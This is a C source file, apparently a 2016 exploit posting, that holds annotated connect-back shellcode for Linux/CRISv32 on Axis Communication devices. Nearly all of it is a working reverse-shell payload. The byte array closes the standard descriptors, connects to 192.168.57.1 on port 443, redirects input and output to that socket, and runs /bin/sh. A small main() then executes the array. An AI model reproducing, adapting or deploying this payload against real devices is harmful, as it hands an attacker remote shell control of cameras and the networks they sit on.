/* * Title: Axis Communication Linux/CRISv32 - Connect Back Shellcode * Author: bashis <mcw noemail.eu> / 2016 * */ #include <stdio.h> char sc[] = //close(0) "\x7a\x86" // clear.d r10 "\x5f\x9c\x06\x00" // movu.w 0x6,r9 "\x3d\xe9" // break 13 //close(1) "\x41\xa2" // moveq 1,r10 "\x5f\x9c\x06\x00" // movu.w 0x6,r9 "\x3d\xe9" // break 13 //close(2) "\x42\xa2" // moveq 2,r10 "\x5f\x9c\x06\x00" // movu.w 0x6,r9 "\x3d\xe9" // break 13 // "\x10\xe1" // addoq 16,sp,acr "\x42\x92" // moveq 2,r9 "\xdf\x9b" // move.w r9,[acr] "\x10\xe1" // addoq 16,sp,acr "\x02\xf2" // addq 2,acr //PORT 443 "\x5f\x9e\x01\xbb" // move.w 0xbb01,r9 "\xdf\x9b" // move.w r9,[acr] "\x10\xe1" // addoq 16,sp,acr "\x6f\x96" // move.d acr,r9 "\x04\x92" // addq 4,r9 //IP 192.168.57.1 "\x6f\xfe\xc0\xa8\x39\x01" // move.d 139a8c0,acr "\xe9\xfb" // move.d acr,[r9] // //socket() "\x42\xa2" // moveq 2,r10 "\x41\xb2" // moveq 1,r11 "\x7c\x86" // clear.d r12 "\x6e\x96" // move.d $sp,$r9 "\xe9\xaf" // move.d $r10,[$r9+] "\xe9\xbf" // move.d $r11,[$r9+] "\xe9\xcf" // move.d $r12,[$r9+] "\x41\xa2" // moveq 1,$r10 "\x6e\xb6" // move.d $sp,$r11 "\x5f\x9c\x66\x00" // movu.w 0x66,$r9 "\x3d\xe9" // break 13 // "\x6a\x96" // move.d $r10,$r9 "\x0c\xe1" // addoq 12,$sp,$acr "\xef\x9b" // move.d $r9,[$acr] "\x0c\xe1" // addoq 12,$sp,$acr "\x6e\x96" // move.d $sp,$r9 "\x10\x92" // addq 16,$r9 "\x6f\xaa" // move.d [$acr],$r10 "\x69\xb6" // move.d $r9,$r11 "\x50\xc2" // moveq 16,$r12 // // connect() "\x6e\x96" // move.d $sp,$r9 "\xe9\xaf" // move.d $r10,[$r9+] "\xe9\xbf" // move.d $r11,[$r9+] "\xe9\xcf" // move.d $r12,[$r9+] "\x43\xa2" // moveq 3,$r10 "\x6e\xb6" // move.d $sp,$r11 "\x5f\x9c\x66\x00" // movu.w 0x66,$r9 "\x3d\xe9" // break 13 // //dup(1) "\x6f\xaa" // move.d [$acr],$r10 "\x41\xb2" // moveq 1,$r11 "\x5f\x9c\x3f\x00" // movu.w 0x3f,$r9 "\x3d\xe9" // break 13 // //dup(2) "\x6f\xaa" // move.d [$acr],$r10 "\x42\xb2" // moveq 2,$r11 "\x5f\x9c\x3f\x00" // movu.w 0x3f,$r9 "\x3d\xe9" // break 13 //execve("/bin/sh",NULL,NULL) "\x90\xe2" // subq 16,$sp "\x6e\x96" // move.d $sp,$r9 "\x6e\xa6" // move.d $sp,$10 "\x6f\x0e\x2f\x2f\x62\x69" // move.d 69622f2f,$r0 "\xe9\x0b" // move.d $r0,[$r9] "\x04\x92" // addq 4,$r9 "\x6f\x0e\x6e\x2f\x73\x68" // move.d 68732f6e,$r0 "\xe9\x0b" // move.d $r0,[$r9] "\x04\x92" // addq 4,$r9 "\x79\x8a" // clear.d [$r9] "\x04\x92" // addq 4,$r9 "\x79\x8a" // clear.d [$r9] "\x04\x92" // addq 4,$r9 "\xe9\xab" // move.d $r10,[$r9] "\x04\x92" // addq 4,$r9 "\x79\x8a" // clear.d [$r9] "\x10\xe2" // addq 16,$sp "\x6e\xf6" // move.d $sp,$acr "\x6e\x96" // move.d $sp,$r9 "\x6e\xb6" // move.d $sp,$r11 "\x7c\x86" // clear.d $r12 "\x4b\x92" // moveq 11,$r9 "\x3d\xe9"; // break 13 void main(void) { void (*s)(void); printf("sc size %d\n", sizeof(sc)); s = sc; s(); }